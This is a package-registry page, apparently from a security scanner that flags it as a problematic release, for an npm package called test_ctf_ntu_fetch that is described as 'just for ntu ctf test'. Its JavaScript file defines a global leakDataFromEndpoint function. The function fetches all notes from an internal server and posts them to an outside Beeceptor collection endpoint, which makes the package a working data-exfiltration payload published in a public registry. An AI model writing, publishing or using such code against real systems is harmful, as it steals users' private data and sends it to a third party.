test_ctf_ntu_fetch 1.0.0

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of test_ctf_ntu_fetch might be problematic. Click here for more details.

package/package.json ADDED
@@ -0,0 +1,11 @@
1
+ {
2
+ "name": "test_ctf_ntu_fetch",
3
+ "version": "1.0.0",
4
+ "description": "just for ntu ctf test",
5
+ "main": "test_ctf_ntu_fetch.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1"
8
+ },
9
+ "author": "william H",
10
+ "license": "MIT"
11
+ }
@@ -0,0 +1,15 @@
1
+ function leakDataFromEndpoint() {
2
+ fetch('http://10.113.184.121:10082/api/notes/all') // 注意:这是跨域请求
3
+ .then(response => response.json())
4
+ .then(data => {
5
+ fetch('https://ntuctf.free.beeceptor.com', { // 你的 Beeceptor 端点
6
+ method: 'POST',
7
+ body: JSON.stringify(data),
8
+ headers: { 'Content-Type': 'application/json' }
9
+ });
10
+ })
11
+ .catch(error => console.error('Error:', error));
12
+ }
13
+
14
+ // 把leakDataFromEndpoint暴露到全局作用域,以便在外部调用
15
+ window.leakDataFromEndpoint = leakDataFromEndpoint;